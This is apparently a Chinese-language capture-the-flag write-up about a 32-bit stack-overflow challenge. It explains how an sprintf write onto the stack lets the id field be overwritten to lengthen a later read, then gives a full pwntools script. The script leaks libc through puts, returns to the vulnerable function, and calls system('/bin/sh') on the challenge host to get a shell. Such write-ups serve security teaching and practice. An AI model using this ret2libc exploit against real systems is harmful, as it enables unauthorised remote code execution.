注意
本文最后更新于 2024-02-11,文中内容可能已过时。
待配图…
这道题我做了很久,刚开始认为主要突破点在于读入id的判定,读入id最后会被传入到read的长度中,我以为虽然对单个字节进行了判定,强制其变成0A,但是由于read读入的时候是以size_t读入,所以还可以任意控制读入长度,试验了很久,但是最后从汇编里面能看出来,其实无论如何都只能读取一个字节。
所以说其实问题的突破点在于其他地方,所以我又留意了一下sprintf写入的地方,果然发现了问题。
sprintf写入的地方居然直接在栈上(我之前以为是一个全局变量),但是由于开了NX,所以还不能直接利用。所以我们构造出正好可以覆盖到id的位置,然后把id改成一个比较大的数字,但是实验发现,我们写入的name最多只有0x3C,不足以覆盖到id,所以只能用他自带的文本来覆盖,选择一个最大的,那就是w,那我只需要对name的长度进行控制,就可以成功让w覆盖到id的位置,从而控制下一步的读入长度。
由于开了NX,我们第一步先泄漏libc,利用plt表中的puts函数输出got表中的puts函数,并且我们让程序重新返回到本函数,实现再次利用。
然后再次利用的时候就可以利用libc中本来存在的system和/bin/sh文本,来实现getshell!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| from pwn import *
from LibcSearcher import *
#r = process('./pwn')
r = remote("node2.hackingfor.fun", 38629)
elf = ELF('./pwn')
r.sendlineafter("id:", "305")
r.sendlineafter("name:", 'a' * 0x3A)
value_addr = 0x80485E7
pop_ebx_addr = 0x080483fd
payload = 'a' * 0x18 + 'b' * 0x4 + p32(elf.plt['puts']) + p32(value_addr) + p32(elf.got['puts'])
r.sendlineafter("me?", payload)
r.recvuntil("mean!\n")
puts_got_addr = u32(r.recv(4))
libc = LibcSearcher("puts", puts_got_addr)
libc_base = puts_got_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
print "libc_base: " + hex(libc_base)
print "system_addr: " + hex(system_addr)
print "bin_sh_addr: " + hex(bin_sh_addr)
r.sendlineafter("id:", "305")
r.sendlineafter("name:", 'a' * 0x3A)
payload2 = 'a' * 0x18 + 'b' * 0x4 + p32(system_addr) + p32(0) + p32(bin_sh_addr)
r.sendlineafter("me?", payload2)
r.interactive()
|